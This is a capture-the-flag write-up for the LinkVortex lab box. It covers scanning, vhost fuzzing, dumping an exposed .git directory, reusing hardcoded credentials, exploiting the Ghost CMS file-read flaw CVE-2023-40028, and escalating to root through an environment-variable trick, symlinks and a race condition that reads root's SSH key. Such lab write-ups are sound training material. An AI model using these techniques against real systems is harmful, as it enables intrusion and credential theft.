LinkVortex writeup
LinkVortex is a Linux box that involves subdomain enumeration and source‑code disclosure via a .git directory. We will reuse hardcoded credentials, exploit a Ghost CMS arbitrary file read (CVE‑2023‑40028) to obtain SSH credentials, and escalate privileges through environment variable manipulation in a custom script.
Scan the target using nmap:
nmap -sC -sV linkvortex.htb
Nmap scan returns two ports: 22 and 80.
Add linkvortex.htb to the /etc/hosts file.
Fuzz vhosts using ffuf:
ffuf -u http://linkvortex.htb -H "Host: FUZZ.linkvortex.htb" -w subdomains.txt -fs 0
This finds dev.linkvortex subdomain.
Further directory brute‑force returns a .git directory on that subdomain.
Extract .git contents using git‑dumper or another tool:
git-dumper http://dev.linkvortex.htb/.git/ linkvortex_src
View staged but not committed changes:
git status
View what has changed in the authentication.test.js file:
git diff HEAD -- authentication.test.js
And we have found hardcoded credentials:
[email protected]:OctopiFociPilfer45
And from nmap we know that there is a /ghost endpoint. If you load it, it contains an admin panel.

Check for credentials reuse by using the admin email instead of [email protected].

And it works!
This instance’s version is outdated.

It has a public exploit available:
https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028
Then you can review Ghost’s source code to understand what file we need to target to get credentials. In this case we need:
/var/lib/ghost/config.production.json
We get the following credentials:
[email protected]:fibber-talented-worth
Those credentials work on SSH:
ssh [email protected]
Turns out bob can run this script as root without credentials.
Script contents:
#!/bin/bash
CHECK_CONTENT=false
# ... rest of script
In CHECK_CONTENT=false, false looks like a boolean but it’s actually the /usr/bin/false binary. We can change CHECK_CONTENT to sudo to get root:
export CHECK_CONTENT=sudo
./script.sh
There are two alternative ways to exploit this script:
Double symlink: You can create a symlink that points to another symlink. Then
/usr/bin/readlinkwill resolve only to the second symlink without following it further. Then you can setCHECK_CONTENT=true, and the script will attempt to read the second symlink, which could be pointed at/root/.ssh/id_rsaor/root/root.txt(the flag).Race condition: You could exploit a race condition between the moment the file is moved to quarantine and when it is read.
/usr/bin/mv $LINK $QUAR_DIR/ <-- file being moved if $CHECK_CONTENT; then <-- [A time window when the file /usr/bin/echo "Content:" <-- in quarantine can be replaced] /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null <-- reading the fileThis loop should be set up in the quarantine directory (
/var/quarantined):while true; do ln -sf /root/.ssh/id_rsa race.png; doneThen by running:
CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh race.pngA legitimate file would be moved to quarantine, where it would then be immediately replaced with a symlink pointing to
/root/.ssh/id_rsa.
Credentials
[email protected]:OctopiFociPilfer45
[email protected]:OctopiFociPilfer45
[email protected]:fibber-talented-worth